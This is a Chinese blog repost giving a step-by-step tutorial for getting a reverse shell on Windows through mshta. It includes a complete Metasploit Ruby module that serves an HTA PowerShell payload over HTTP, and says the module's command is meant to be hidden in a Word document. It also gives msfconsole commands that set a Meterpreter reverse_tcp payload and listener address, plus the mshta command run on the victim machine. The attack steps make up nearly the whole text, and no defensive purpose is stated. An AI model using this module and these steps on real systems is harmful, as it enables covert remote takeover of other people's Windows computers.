mshta 反弹shell

mshta 反弹shell  kali系统准备:  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):###ThismodulerequiresMetasploit:https://metasploit.com/download#Currentso…

大家好,又见面了,我是你们的朋友全栈君。

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行启动msf的服务:

service postgresql start

  再启动msf:

sudo msfconsole

  重新加载所有模块:

reload_all

  查找我们刚刚新建的msh_shell模块:

search msh_shell

  加载这个模块:

use exploit/windows/smb/msh_shell

  使用反弹shellcode, 配置本机地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  window系统:

  打开运行命令,执行:

mshta http://kali系统的IP/aaaa

  kali系统就会收到一个window系统的shell

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159701.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • sublime3激活码(注册激活)

    (sublime3激活码)本文适用于JetBrains家族所有ide,包括IntelliJidea,phpstorm,webstorm,pycharm,datagrip等。https://javaforall.net/100143.htmlIntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,上面是详细链接哦~V…

    2022年3月22日
    38
  • Linux rootfs_hdfs shell命令

    Linux rootfs_hdfs shell命令本文阐述Linux中的文件系统部分,源代码来自基于IA32的2.4.20内核。总体上说Linux下的文件系统主要可分为三大块:一是上层的文件系统的系统调用,二是虚拟文件系统VFS(VirtualFilesystemSwitch),三是挂载到VFS中的各实际文件系统,例如ext2,jffs等。本文侧重于通过具体的代码分析来解释Linux内核中VFS的内在机制,在这过程

    2022年9月28日
    0
  • Oracle Number 自动转Decimal问题修正「建议收藏」

    Oracle Number 自动转Decimal问题修正「建议收藏」spark加载Oracle表的Number字段,直接写入关系表会被转成decimal双精度类型解决方式:1.构建Jdbc会话publicclassJdbcOracleDialectextendsJdbcDialect{@OverridepublicbooleancanHandle(Stringurl){returnurl.startsWith(“jdbc:oracle”);}@Overrid…

    2022年7月24日
    30
  • 使用 MQTTnet 实现 MQTT 通信示例

    使用 MQTTnet 实现 MQTT 通信示例一、什么是MQTT?MQTT(MessageQueuingTelemetryTransport,消息队列遥测传输)是IBM开发的一个即时通讯协议,有可能成为物联网的重要组成部分。MQTT是基于二进制消息的发布/订阅编程模式的消息协议,如今已经成为OASIS规范,由于规范很简单,非常适合需要低功耗和网络带宽有限的IoT场景。二、MQTTnetMQ…

    2022年6月25日
    27
  • 机器学习之特征归一化

    当数据集的数值属性具有非常大的比例差异,往往导致机器学习的算法表现不佳,当然也有极少数特例。在实际应用中,通过梯度下降法求解的模型通常需要归一化,包括线性回归、逻辑回归、支持向量机、神经网络等模型。但

    2021年12月30日
    56
  • tk mapper和mybatis plus_dozermapper

    tk mapper和mybatis plus_dozermapperTKmapper(通用Mapper)和MPmapepr(MyBatis-Plus)是mybatis两大插件,功能相同,都提供了常规的增删改查操作,增强mybatis的功能,篇幅有限,文章仅说下两者的区别!PageHelper是一个分页插件目录TKmapper1.SpringBoot集成2.Example用法3.Mapper接口4.MybatisGeneat…

    2022年9月27日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号